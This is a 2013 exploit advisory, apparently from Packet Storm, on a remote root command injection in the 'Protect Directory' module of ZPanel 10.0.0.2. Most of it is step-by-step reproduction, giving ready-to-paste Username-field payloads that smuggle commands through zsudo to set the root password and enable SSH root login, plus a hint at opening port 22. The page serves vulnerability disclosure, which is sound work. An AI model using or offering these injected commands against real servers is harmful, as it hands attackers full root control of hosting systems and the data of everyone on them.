what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ZPanel 10.0.0.2 Remote Command Execution

ZPanel 10.0.0.2 Remote Command Execution
Posted Jun 7, 2013
Authored by shachibista

ZPanel version 10.0.0.2 suffers from a remote root command execution vulnerability.

tags | exploit, remote, root
SHA-256 | a30a5948320c316bd884408d4f9e6e18b520ce906e9bb8f59bc103d82a9b44d4

ZPanel 10.0.0.2 Remote Command Execution

Change Mirror Download
One of our expert team members (shachibista@gmail.com) who is assigned
to do the security audit of ZPanel code has found the follwoing
security vulnerability with ZPanel 10.0.0.2 which will allow anyone to
escalate the root accress and access the server by anyone. The
security audit states the following:

<QUOTE>
I have been reviewing ZPanel code and there is a serious remote
execution vulnerability in the "Protect Directory" module that allows
anyone with access to the page (Administrators, Resellers and Clients
by default) to execute arbitrary commands on the shell due to improper
(non-existent) escaping of user input. The following steps can be
taken to reproduce the exploit:

1. Login as any user and visit
http://<server_address>/?module=htpasswd&selected=Selected&path=/

1a. In the "Username" field input (including the initial semicolon and
the final hash):

;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #

2. Type any password

3. Root password will be set to "newpassword"

4. Visit http://<server_address>/?module=htpasswd&selected=Selected&path=/

5. In the "Username" field (including initial semicolon and final hash):

;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes
\#/" /etc/ssh/*hd*g' #

6. This will enable root login,

7. One can repeat the same process to open port 22 through iptables
(iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the ssh
server (this will require the process twice as the internal buffer
size of zsudo command is 100 characters)
<UNQUOTE>


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close